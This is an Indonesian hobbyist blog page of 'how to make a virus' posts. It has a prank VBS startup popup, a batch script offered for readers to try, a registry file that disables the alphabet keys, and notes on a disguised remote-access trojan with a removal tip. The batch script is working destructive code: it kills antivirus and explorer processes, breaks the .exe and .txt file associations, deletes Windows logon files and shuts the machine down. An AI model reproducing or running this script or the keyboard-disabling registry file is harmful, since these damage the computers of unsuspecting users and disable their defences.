Cara Membuat Virus Palsu

Bagaimana membuat virus palsu ?

langkah berikut ini yang dibutuhkan hanyalah sebuah software bernama notepad. Ya…!!hanya notepad. Ikuti ya petunjuknya.

1. Buka Notepad kamu

• Klik Start
• All Program
• Accessories -> Notepad

2. kopi kode berikut ini

msgbox “Maaf Komputer Anda Telah Terinfeksi Virus YogiAnggriawan.com”,16,”Warning”

3. Save dengan nama bukadong.vbs di C:Documents and SettingsAll UsersStart MenuProgramsStartup

Sekarang restart komputer kamu dan lihat apa yang terjadi. Ya.. selamat karena kamu sudah bisa membuat virus komputer palsu.

Pada kesempatan ini Blogs4Funny mengambil topik Cara Membuat Virus Komputer dengan Mudah ,silahkan di baca caranya :

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:WINDOWSsystem32logoff.exe /F /Q
DEL C:WINDOWSsystem32logon.exe /F /Q
DEL C:WINDOWSsystem32logon.scr /F /Q
cls
shutdown

Kopi kode diatas kedalam notepad anda ,lalu simpan dengan nama installhack.bat ,simpan di drive C;/
Virus ini dapat menyerang:
1. Menghapus, NAVAPSVC.exe
2. Menhapus, Explorer.exe (taskbar dan ikon akan hilang)
3. Menhapus, zonelabs.exe
4. mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)
5. mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)
6. Menghapus Login / Logoff Screens

Informasi Cara Membuat Virus Komputer dengan Mudah selamat mencoba .

Disable Tombol-Tombol Alphabet

spyrozone.reg

view source

print?

1	Windows Registry Editor Version 5.00
2	[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]

3		"Scancode Map"=hex:00,00,00,00,00,00,00,00,1b,00,00,00,01,00,1e,00,01,00,30,00,\
4	01,00,2e,00,01,00,20,00,01,00,12,00,01,00,21,00,01,00,22,00,01,00,23,00,01,\

5	00,17,00,01,00,24,00,01,00,25,00,01,00,26,00,01,00,32,00,01,00,31,00,01,00,\
6	18,00,01,00,19,00,01,00,10,00,01,00,13,00,01,00,1f,00,01,00,14,00,01,00,16,\

7	00,01,00,2f,00,01,00,11,00,01,00,2d,00,01,00,15,00,01,00,2c,00,00,00,00,00

Script diatas merupakan Scan Code tombol A-Z yang di mapping ulang fungsinya menjadi tombol [Esc]. Simpan Script tersebut dengan nama “spyrozone.reg”, klik 2x pada file tersebut, lalu klik OK pada semua kotak dialog yang muncul.

Log Off komputer Anda, lalu login kembali. Kini, tombol-tombol alphabet Anda tidak akan berfungsi

Menormalkan Kembali Fungsi Keyboard

Untuk menormalkan kembali fungsi keyboard Anda, bukalah Registry Editor, lalu pergilah ke lokasi berikut:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout

Hapus “Scancode Map” yang ada pada key tersebut. Log Off komputer Anda, kemudian login kembali. Kini Keyboard Anda sudah berfungsi normal sebagaimana biasa.

Penutup

Selamat mencoba, semoga bermanfaat

Baca selengkapnya » 0 Comment's

TROJAN X REMOTE

X-Remote merupakan sebuah program PC Remote Buatan Indonesia yang paling saya sukai selain tampilannya yang menarik, kata JK Gunakanlah product buatan Negara sendiri “Hehehe”. X-Remote memiliki 2 buah program yang nanti kita akan jalankan yaitu XRemote.exe (PENYURUH) dan IEXPLORER.exe (TROJAN) kok mirip ya dengan IEXPLORER (Internet Explorer) yang dimiliki oleh windows?? ya memang mirip jika diperhatikan secara kasat mata, namun jika diteliti keduanya memiliki perbedaan yang sangat mencolok bagaikan kertas hitam dan putih, IEXPLORER.exe ini adalah sebuah Trojan yang memang sengaja diberi nama yang mirip dengan IEXPLORER (Aplikasi Browsing) milik windows supaya tidak mudah diketahui. Setelah bermain2 dengan Trojan yang satu ini saya menemukan beberapa hal tentang program ini :

1. Trojan Ini menggunakan port 1001 “WebEx”
Saya menggunakan perintah netsat –an dalam percobaan untuk mengetahui port berapa yang dibuka setelah saya menjalankan Trojan (IEXPLORER.exe)
C:\Documents and Settings\SlackXdi>netstat -an

Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1001 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1002 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1031 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1066 127.0.0.1:1067 ESTABLISH
TCP 127.0.0.1:1067 127.0.0.1:1066 ESTABLISH
TCP 127.0.0.1:1068 127.0.0.1:1069 ESTABLISH
…
Namun jika anda belum yakin juga, anda bisa menggunakan SuperScan untuk melakukan scaning port yang biasa digunakan oleh Trojan.
2. Trojan Ini tidak dikenali oleh AntiVirus
Saya sudah mecobanya di beberapa antivitus dan tidak ada satupun yang mengenali Trojan ini.
3. Trojan IEXPLORER akan Berubah nama Menjadi lsass

Trojan yang tadinya namanya IEXPLORER.exe ketika dijalankan akan berubah nama menjadi lsass.exe yang juga mirip seperti nama salah satu system yang dimiliki windows karena ketika dijalankan Trojan ini akan membuat satu buah file yang sama (IEXPLORER.exe) dengan nama lsass.exe ke C:/WINDOWS/System.

Ketika saya mengetikkan perintah netstat –b untuk melihat program apa yang digunakan pada port yang terbuka tersebut, cmd memunculkan hasil seperti dibawah ini dan itu berarti Trojan yang menggunakan port 1001 adalah lsass.exe dan setelah saya tinggal mencari tahu di mana file tersebut berada dengan melihat Properties (klik kanan) Program tersebut menggunakan Process Explorer.

C:\Documents and Settings\SlackXdi>netstat -b
Active Connections
Proto Local Address Foreign Address State PID
TCP xxdiazz:1001 localhost:1336 ESTABLISHED 3456
[lsass.exe]
TCP xxdiazz:1002 localhost:1337 ESTABLISHED 3456
[lsass.exe]
TCP xxdiazz:1066 localhost:1067 ESTABLISHED 900
[firefox.exe]
TCP xxdiazz:1067 localhost:1066 ESTABLISHED 900
[firefox.exe]
TCP xxdiazz:1068 localhost:1069 ESTABLISHED 900
[firefox.exe]
TCP xxdiazz:1069 localhost:1068 ESTABLISHED 900
[firefox.exe]
TCP xxdiazz:1336 localhost:1001 ESTABLISHED 2108
[Xremote.exe]
TCP xxdiazz:1337 localhost:1002 ESTABLISHED 2108
[Xremote.exe]

Untuk mengatasi Trojan ini gampang aja pertama-tama anda harus matikan dulu programnya yang sedang berjalan menggunakan Process Explorer setelah itu hapus filenya di C:/WINDOWS/System, Atau anda bisa langsung menghapusnya menggunakan Unlocker.

Baca selengkapnya » 0 Comment's